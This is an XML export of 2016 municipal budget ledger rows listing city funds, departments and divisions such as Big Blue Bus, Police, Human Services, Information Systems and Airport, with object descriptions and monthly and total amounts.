<row _id="22369"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>406071.0</object><object_description>PLAYA VISTA</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-654914</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-654914</total></row>
<row _id="22370"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555016.0</object><object_description>CONTRA SVCS-CIVIC PARKING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22371"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>24199</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24199</total></row>
<row _id="22372"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>101189</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>101189</total></row>
<row _id="22373"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>88345</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>88345</total></row>
<row _id="22374"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20348</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20348</total></row>
<row _id="22375"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1018</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1018</total></row>
<row _id="22376"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401003.0</object><object_description>SWIM CENTER-SWIM PASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-230000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-230000</total></row>
<row _id="22377"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401006.0</object><object_description>SWIM CENTER-SPECIAL CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-55500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-55500</total></row>
<row _id="22378"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6947</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6947</total></row>
<row _id="22379"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5031</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5031</total></row>
<row _id="22380"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>356</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>356</total></row>
<row _id="22381"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7638</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7638</total></row>
<row _id="22382"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403830.0</object><object_description>SUPPORTIVE HOUSING PROGRAM GR</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22383"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3306</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3306</total></row>
<row _id="22384"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3540</total></row>
<row _id="22385"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>298</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>298</total></row>
<row _id="22386"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>149</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>149</total></row>
<row _id="22387"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>24108</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24108</total></row>
<row _id="22388"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>72</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72</total></row>
<row _id="22389"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577580.0</object><object_description>BEACH / PIER REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>175529</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>175529</total></row>
<row _id="22390"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401730.0</object><object_description>LIBRARY CAFE UTILITY REIMBURSE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-11000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11000</total></row>
<row _id="22391"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407790.0</object><object_description>CHILDCARE LINKAGE FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-35000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-35000</total></row>
<row _id="22392"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>109523</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>109523</total></row>
<row _id="22393"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3714</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3714</total></row>
<row _id="22394"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>367613</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>367613</total></row>
<row _id="22395"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1408168</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1408168</total></row>
<row _id="22396"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>15124</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15124</total></row>
<row _id="22397"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>860</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>860</total></row>
<row _id="22398"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5374</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5374</total></row>
<row _id="22399"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>407250.0</object><object_description>TELECOMMUNICATIONS SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-526257</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-526257</total></row>
<row _id="22400"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17700</total></row>
<row _id="22401"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>32189</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32189</total></row>
<row _id="22402"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4909</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4909</total></row>
<row _id="22403"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8307</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8307</total></row>
<row _id="22404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1921</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1921</total></row>
<row _id="22405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20890</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20890</total></row>
<row _id="22406"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14007</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14007</total></row>
<row _id="22407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404930.0</object><object_description>SALE OF COMPOSTING BINS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2000</total></row>
<row _id="22408"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1538</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1538</total></row>
<row _id="22409"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5271</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5271</total></row>
<row _id="22410"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>506208</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>506208</total></row>
<row _id="22411"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2894</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2894</total></row>
<row _id="22412"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1138537</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1138537</total></row>
<row _id="22413"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-3915411</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3915411</total></row>
<row _id="22414"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>55805</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>55805</total></row>
<row _id="22415"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9968</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9968</total></row>
<row _id="22416"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4570</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4570</total></row>
<row _id="22417"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2077</total></row>
